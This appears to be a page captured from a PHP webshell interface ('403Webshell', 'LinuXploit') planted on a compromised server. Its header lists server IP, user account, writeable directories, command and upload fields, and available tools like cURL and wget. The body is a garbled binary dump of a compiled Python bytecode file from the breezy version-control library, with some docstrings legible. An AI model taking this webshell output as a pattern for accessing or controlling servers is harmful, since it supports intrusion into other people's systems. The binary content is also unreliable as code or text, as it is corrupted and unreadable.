403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/smart/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/smart/__pycache__/branch.cpython-313.pyc
�

p��gSC��d�SrSSKrSSKJr SSKJr SSKJr SSK	J
r
 SS	KJrJ
r
Jr "S
S\
5r"SS
\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"SS\5r"S S!\5r"S"S#\5r"S$S%\5r"S&S'\5r"S(S)\5r"S*S+\5r"S,S-\5r "S.S/\5r!"S0S1\5r""S2S3\5r#"S4S5\5r$"S6S7\5r%"S8S9\5r&g):z2Server-side branch related request implmentations.�N�)�errors)�revision)�	transport)�
ControlDir�)�FailedSmartServerResponse�SmartServerRequest�SuccessfulSmartServerResponsec��\rSrSrSrSrSrg)�SmartServerBranchRequest� z4Base class for handling common branch request logic.c��URU5n[R"U5nUR5b [R
"UR5eURSS9nUR"U/UQ76$)a6Execute a request for a branch at path.

All Branch requests take a path to the branch as their first argument.

If the branch is a branch reference, NotBranchError is raised.

:param path: The path for the repository as received from the
    client.
:return: A SmartServerResponse from self.do_with_branch().
T)�ignore_fallbacks)	�transport_from_client_pathr�open_from_transport�get_branch_referencer�NotBranchError�base�open_branch�do_with_branch)�self�path�argsr�
controldir�branchs      �9/usr/lib/python3/dist-packages/breezy/bzr/smart/branch.py�do�SmartServerBranchRequest.do#sq���3�3�D�9�	��3�3�I�>�
��*�*�,�8��'�'�	���7�7��'�'��'�>���"�"�6�1�D�1�1��N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�__static_attributes__r!r rr
r
 s
��>�2r r
c��\rSrSrSrSrSrg)�SmartServerLockedBranchRequest�6zYBase class for handling common branch request logic for requests that
need a write lock.
c��URRUS9 URUS9 UR"U/UQ76sSSS5 sSSS5 $!,(df   O=fSSS5 g!,(df   g=f)z�Execute a request for a branch.

A write lock will be acquired with the given tokens for the branch and
repository locks.  The lock will be released once the request is
processed.  The physical lock state won't be changed.
��tokenN)�
repository�
lock_write�do_with_locked_branch)rr�branch_token�
repo_tokenrs     rr�-SmartServerLockedBranchRequest.do_with_branch;se��
���(�(�z�(�:����L��1��-�-�f�<�t�<�
2�1�
;�:�1�1��1�
;�:�:�s!�A+�A�	A+�
A	�A+�+
A9r!N�r"r#r$r%r&rr'r!r rr)r)6s���=r r)c��\rSrSrSrSrg)�SmartServerBranchBreakLock�Jc�8�UR5 [S5$)zBreak a branch lock.��ok)�
break_lockr�rrs  rr�)SmartServerBranchBreakLock.do_with_branchKs������,��
�	
r r!N�r"r#r$r%rr'r!r rr6r6Js��
r r6c��\rSrSrSrSrg)�SmartServerBranchGetConfigFile�Sc��URRS5n[	SU5$![Ra SnN$f=f)ziReturn the content of branch.conf.

The body is not utf8 decoded - its the literal bytestream from disk.
�branch.confr r9)�control_transport�	get_bytes�_mod_transport�
NoSuchFiler)rr�contents   rr�-SmartServerBranchGetConfigFile.do_with_branchTsH��
	��.�.�8�8��G�G�-�X�w�?�?���(�(�	��G�	�s�)�A�Ar!Nr>r!r rr@r@Ss��	@r r@c�$�\rSrSrSrSrSrSrg)�SmartServerBranchPutConfigFile�`z6Set the configuration data for a branch.

New in 2.5.
c�(�XlX lX0lg)zeSet the content of branch.conf.

The body is not utf8 decoded - its the literal bytestream for disk.
N��_branch�
_branch_token�_repo_token�rrr1r2s    rr�-SmartServerBranchPutConfigFile.do_with_branchfs��
��)��%��r c�l�URRRURS9 URRURS9 URR
R
SU5 SSS5 SSS5 [S5$!,(df   N!=f!,(df   N*=f)Nr,rCr9)rOr.r/rQrPrD�	put_bytesr)r�
body_bytess  r�do_body�&SmartServerBranchPutConfigFile.do_bodyqs����L�L�#�#�.�.�T�5E�5E�.�F��L�L�#�#�$�*<�*<�#�=��L�L�*�*�4�4�]�J�O�
>�
G�-�X�6�6�
>�=��
G�F�s#�$B%�'B�9B%�
B"	�B%�%
B3rNN)r"r#r$r%r&rrWr'r!r rrKrK`s���
	�7r rKc��\rSrSrSrSrg)�SmartServerBranchGetParent�zc�j�UR5=(d Sn[URS545$)zReturn the parent of branch.��utf-8)�_get_parent_locationr�encode)rr�parents   rr�)SmartServerBranchGetParent.do_with_branch{s,���,�,�.�4�"��,�f�m�m�G�.D�-F�G�Gr r!Nr>r!r rrZrZzs��Hr rZc��\rSrSrSrSrg)�SmartServerBranchGetTagsBytes�c�:�UR5n[U45$)z(Return the _get_tags_bytes for a branch.)�_get_tags_bytesr)rr�bytess   rr�,SmartServerBranchGetTagsBytes.do_with_branch�s���&�&�(��,�e�X�6�6r r!Nr>r!r rrdrd�s��7r rdc�0�\rSrSrSSjrSrSrSrSrg)	�SmartServerBranchSetTagsBytes�Nc�>�[RXX#5 SUlg)NF)r)�__init__�locked)r�backing_transport�root_client_path�	jail_roots    rrn�&SmartServerBranchSetTagsBytes.__init__�s��&�/�/��%5�	
���r c�R�XlURR5 SUlg)z1Call _set_tags_bytes for a branch.

New in 1.18.
TN)rr/ror<s  rr0�3SmartServerBranchSetTagsBytes.do_with_locked_branch�s ��������� ���r c�N�URRU5 [S5$)Nr!)r�_set_tags_bytesr)rrhs  rrW�%SmartServerBranchSetTagsBytes.do_body�s�����#�#�E�*�,�R�0�0r c���UR(dg[RU5URR	5 $!URR	5 f=f)N)ror)�do_endr�unlock)rs rrz�$SmartServerBranchSetTagsBytes.do_end�sF���{�{�
�	!�1�8�8��>�
�K�K��� ��D�K�K��� �s�A�A)rro)�/N)	r"r#r$r%rnr0rWrzr'r!r rrkrk�s���	�1�!r rkc��\rSrSrSrSrg)�SmartServerBranchHeadsToFetch�c�d�UR5up#[[U5[U545$)zgReturn the heads-to-fetch for a Branch as two bencoded lists.

See Branch.heads_to_fetch.

New in 2.4.
)�heads_to_fetchr�list)rr�
must_fetch�if_present_fetchs    rr�,SmartServerBranchHeadsToFetch.do_with_branch�s0��(.�'<�'<�'>�$�
�,�d�:�.>��EU�@V�-W�X�Xr r!Nr>r!r rrr�s��Yr rc��\rSrSrSrSrg)�'SmartServerBranchRequestGetStackedOnURL�c�Z�UR5n[SURS545$)Nr:�ascii)�get_stacked_on_urlrr`)rr�stacked_on_urls   rr�6SmartServerBranchRequestGetStackedOnURL.do_with_branch�s+���2�2�4��,�e�^�5J�5J�7�5S�-T�U�Ur r!Nr>r!r rr�r��s��Vr r�c��\rSrSrSrSrg)�!SmartServerRequestRevisionHistory�c�H�UR5 URR5nS[R4n[UR
UR5U55nSSS5 [SSR[W555$!,(df   N2=f)z�Get the revision history for the branch.

The revision list is returned as the body content,
with each revision utf8 encoded and \x00 joined.
Nr9�)�	lock_readr.�	get_graph�
_mod_revision�
NULL_REVISIONr��iter_lefthand_ancestry�
last_revisionr�join�reversed)rr�graph�stop_revisions�historys     rr�0SmartServerRequestRevisionHistory.do_with_branch�s����
�
�
��%�%�/�/�1�E�"�M�$?�$?�@�N���,�,�V�-A�-A�-C�^�T��G� �-��w�|�|�H�W�$5�6�
�	
�
 �
�s�AB�
B!r!Nr>r!r rr�r��s��
r r�c��\rSrSrSrSrg)�(SmartServerBranchRequestLastRevisionInfo��c�r�UR5up#[S[U5RS5U45$)zjReturn branch.last_revision_info().

The revno is encoded in decimal, the revision_id is encoded as utf8.
r:r�)�last_revision_infor�strr`)rr�revnor�s    rr�7SmartServerBranchRequestLastRevisionInfo.do_with_branch�s;��
 &�8�8�:���,�
�C��J�%�%�g�.�
�>�
�	
r r!Nr>r!r rr�r��s��
r r�c��\rSrSrSrSrg)�)SmartServerBranchRequestRevisionIdToRevno��c
�P�URU5n[S[UVs/sHnSU-PM
 sn5-5$![Ra [SU45s$[Ra,n[SUR
UR45sSnA$SnAff=fs snf)zyReturn branch.revision_id_to_revno().

New in 2.5.

The revno is encoded in decimal, the revision_id is encoded as utf8.
�NoSuchRevisionsGhostRevisionsHaveNoRevnoNr9s%d)	�revision_id_to_dotted_revnor�NoSuchRevisionr	�GhostRevisionsHaveNoRevno�revision_id�ghost_revision_idr�tuple)rr�revid�dotted_revno�e�xs      rr�8SmartServerBranchRequestRevisionIdToRevno.do_with_branch�s���	�!�=�=�e�D�L�-��u��>��A�e�a�i��>�?�?�
�	
��
�$�$�	I�,�.?��-G�H�H��/�/�	�,�-�q�}�}�a�>Q�>Q�R��
��	��
?s&�>�B#�!B �!B �4!B�B �B r!Nr>r!r rr�r��s��
r r�c��\rSrSrSrSrSrg)�SmartServerSetTipRequest��z]Base class for handling common branch request logic for requests that
update the branch tip.
c���UR"U/UQ76$![RaInURn[	U[
5(aUR
S5n[SU45sSnA$SnAff=f)Nr^sTipChangeRejected)� do_tip_change_with_locked_branchr�TipChangeRejected�msg�
isinstancer�r`r	)rrrr�r�s     rr0�.SmartServerSetTipRequest.do_with_locked_branch�sk��	J��8�8��G�$�G�G���'�'�	J��%�%�C��#�s�#�#��j�j��)��,�.B�C�-H�I�I��		J�s��A2�>A-�'A2�-A2r!N�r"r#r$r%r&r0r'r!r rr�r��s
���Jr r�c��\rSrSrSrSrSrg)�'SmartServerBranchRequestSetConfigOption�z*Set an option in the branch configuration.c���U(dSnUR5RURS5URS5UbURS5OS5 [S5$�Nr^r!)�_get_config�
set_option�decoder)rr�value�name�sections     rr0�=SmartServerBranchRequestSetConfigOption.do_with_locked_branchsY����G�����'�'��L�L��!��K�K�� �'.�':�G�N�N�7�#��	
�
-�R�0�0r r!Nr�r!r rr�r�s
��4�1r r�c��\rSrSrSrSrSrg)�+SmartServerBranchRequestSetConfigOptionDictiz8Set an option in the branch configuration.

New in 2.2.
c�R�[R"U5n0nUR5H'upgURS5X&RS5'M) U(dSnOURS5nUR	5RX#RS5U5 [
S5$)N�utf8r^r!)�bencode�bdecode�itemsr�r�r�r)rr�
value_dictr�r��	utf8_dict�keyr�s        rr0�ASmartServerBranchRequestSetConfigOptionDict.do_with_locked_branchs����O�O�J�/�	��
�#�/�/�+�J�C�-2�\�\�&�-A�J�z�z�&�)�*�,���G��n�n�W�-�G�����'�'�
�K�K��4H�'�R�,�R�0�0r r!Nr�r!r rr�r�s���

1r r�c��\rSrSrSrSrg)�'SmartServerBranchRequestSetLastRevisioni!c���US:XaURSU5 O@URRU5(d
[SU45$UR	USS5 [S5$)Nsnull:rr�r9)�set_last_revision_infor.�has_revisionr	�generate_revision_historyr)rr�new_last_revision_ids   rr��HSmartServerBranchRequestSetLastRevision.do_tip_change_with_locked_branch"si���8�+��)�)�!�-A�B��$�$�1�1�2F�G�G�0�&�(<�=���
�,�,�-A�4��N�,�X�6�6r r!N�r"r#r$r%r�r'r!r rr�r�!s��	7r r�c��\rSrSrSrSrg)�)SmartServerBranchRequestSetLastRevisionExi.c��U(+nUR5upgURR5nU(aU(aDURXrU5n	U	S:XaU(d[	S5$U	S:XaU(a
[SXg45$UR
X'U4/5n
URX�5 [SX�45$![Ra [	SU45s$f=f)a�Set the last revision of the branch.

New in 1.6.

:param new_last_revision_id: the revision ID to set as the last
    revision of the branch.
:param allow_divergence: A flag.  If non-zero, change the revision ID
    even if the new_last_revision_id's ancestry has diverged from the
    current last revision.  If zero, a 'Diverged' error will be
    returned if new_last_revision_id is not a descendant of the current
    last revision.
:param allow_overwrite_descendant:  A flag.  If zero and
    new_last_revision_id is not a descendant of the current last
    revision, then the last revision will not be changed.  If non-zero
    and there is no divergence, then the last revision is always
    changed.

:returns: on success, a tuple of ('ok', revno, revision_id), where
    revno and revision_id are the new values of the current last
    revision info.  The revision_id might be different to the
    new_last_revision_id if allow_overwrite_descendant was not set.
�diverged)sDiverged�a_descends_from_br:r�)
r�r.r��_revision_relationsr	r�find_distance_to_nullr�rr�)rrr��allow_divergence�allow_overwrite_descendant�do_not_overwrite_descendant�
last_revno�last_revr��relation�	new_revnos           rr��JSmartServerBranchRequestSetLastRevisionEx.do_tip_change_with_locked_branch/s���2+E�&D�#�	X�#)�#<�#<�#>� �J��%�%�/�/�1�E�#�'B�!�5�5��E����z�)�2B�4�^�D�D��2�2�7R�8�%��9V�W�W��3�3�$�*�'=�&>��I�
�)�)�)�J�-�e�Y�-U�V�V���/�/�	X�,�.?�AU�-V�W�W�	X�s�A#B9�-B9�%B9�9!C�Cr!Nr�r!r rr�r�.s��+Wr r�c��\rSrSrSrSrSrg)�+SmartServerBranchRequestSetLastRevisionInfoi]zpBranch.set_last_revision_info.  Sets the revno and the revision ID of
the specified branch.

New in breezy 1.4.
c��UR[U5U5 [S5$![Ra [	SU45s$f=f)Nr�r9)r��intrr�r	r)rrr�r�s    rr��LSmartServerBranchRequestSetLastRevisionInfo.do_tip_change_with_locked_branchdsU��	X��)�)�#�i�.�:N�O�-�X�6�6���$�$�	X�,�.?�AU�-V�W�W�	X�s�(�!A�Ar!N)r"r#r$r%r&r�r'r!r rr�r�]s���7r r�c��\rSrSrSrSrSrg)�)SmartServerBranchRequestSetParentLocationilz\Set the parent location for a branch.

Takes a location to set, which must be utf8 encoded.
c�X�URURS55 [S5$r�)�_set_parent_locationr�r)rr�locations   rr0�?SmartServerBranchRequestSetParentLocation.do_with_locked_branchrs$���#�#�H�O�O�G�$<�=�,�R�0�0r r!Nr�r!r rr�r�ls���
1r r�c��\rSrSrSSjrSrg)�!SmartServerBranchRequestLockWriteiwc�P�US:XaSnUS:XaSnURRUS9RnURUS9RnURR	5 UcSnOURR5 UR5 UR	5 [!SX#45$!URR	5 f=f![
Ra [S5s$[
Ra [S5s$[
Ra [S5s$[
Ra\n[S[UR5RS5[UR5RS545sSnA$SnAff=f)	Nr r,)sLockContention�s
TokenMismatch)sUnlockableTransports
LockFailedr^r:)r.r/�repository_tokenr-r{r�LockContentionr	�
TokenMismatch�UnlockableTransport�
LockFailedr��lockr`�why�leave_lock_in_placer)rrr1r2r�s     rr�0SmartServerBranchRequestLockWrite.do_with_branchxso���3���L�����J�	��*�*�5�5�J�5�G�X�X�J�
+�%�0�0�|�0�D�J�J���!�!�(�(�*����J����1�1�3��"�"�$��
�
��,�e�\�-N�O�O��#�!�!�(�(�*���$�$�	C�,�-A�B�B��#�#�	B�,�-@�A�A��)�)�	H�,�-F�G�G�� � �	�,���A�F�F�� 2� 2�7� ;�S����Z�=N�=N�w�=W�X��
��	�sG�#C�B6�C�6C�C�F%�6F%�F%�6F%�	AF �F%� F%r!N)r r r>r!r rr�r�ws��Pr r�c��\rSrSrSrSrg)�SmartServerBranchRequestUnlocki�c�j�URRUS9 URUS9 SSS5 U(aURR5 UR5 UR
5 [S5$!,(df   NZ=f![Ra [	S5s$f=f)Nr,r�r9)r.r/rrr	�dont_leave_lock_in_placer{rrRs    rr�-SmartServerBranchRequestUnlock.do_with_branch�s���	B��"�"�-�-�J�-�?��!�!��!�5�@�����6�6�8��'�'�)��
�
��,�X�6�6�@�?���#�#�	B�,�-@�A�A�	B�s-�B�A?�B�?
B
�	B�
B�B2�1B2r!Nr>r!r rr
r
�s��
7r r
c��\rSrSrSrSrSrg)�-SmartServerBranchRequestGetPhysicalLockStatusi�z8Get the physical lock status for a branch.

New in 2.5.
c�X�UR5(a[S5$[S5$)N)syes)sno)�get_physical_lock_statusrr<s  rr�<SmartServerBranchRequestGetPhysicalLockStatus.do_with_branch�s'���*�*�,�,�0��;�;�0��:�:r r!Nr4r!r rrr�s���
;r rc��\rSrSrSrSrSrg)�+SmartServerBranchRequestGetAllReferenceInfoi�z,Get the reference information.

New in 3.1.
c��UR5n[R"UR5VVs/sH:up4UUSRS5US(aUSRS5OS4PM< snn5n[	SU5$s snnf)Nrr^rr r9)�_get_all_reference_infor�r�r`r)rr�all_reference_infor�r�rHs      rr�:SmartServerBranchRequestGetAllReferenceInfo.do_with_branch�s���#�;�;�=���/�/�%7�$<�$<�$>�

�%?�L�S�	��!�H�O�O�G�,�05�a��E�!�H�O�O�G�,�c��
%?�

�	
��-�X�w�?�?��
s�AB	
r!Nr4r!r rrr�s
���
@r r)'r&�fastbencoder�r]rrr�rrFrr�requestr	r
rr
r)r6r@rKrZrdrkrr�r�r�r�r�r�r�r�r�r�r�r�r
rrr!r r�<module>rsn��"9���)�+�$���2�1�2�,=�%=�=�(
�!9�
�
@�%=�
@�7�%=�7�4H�!9�H�7�$<�7�!!�$B�!!�H	Y�$<�	Y�V�.F�V�
�(@�
�$	
�/G�	
�
�0H�
�*J�=�J�1�.L�1�1�2P�1�&
7�.F�
7�,W�0H�,W�^7�2J�7�1�0N�1�P�(@�P�@7�%=�7�
;�4L�
;�@�2J�@r 

Youez - 2016 - github.com/yon3zu
LinuXploit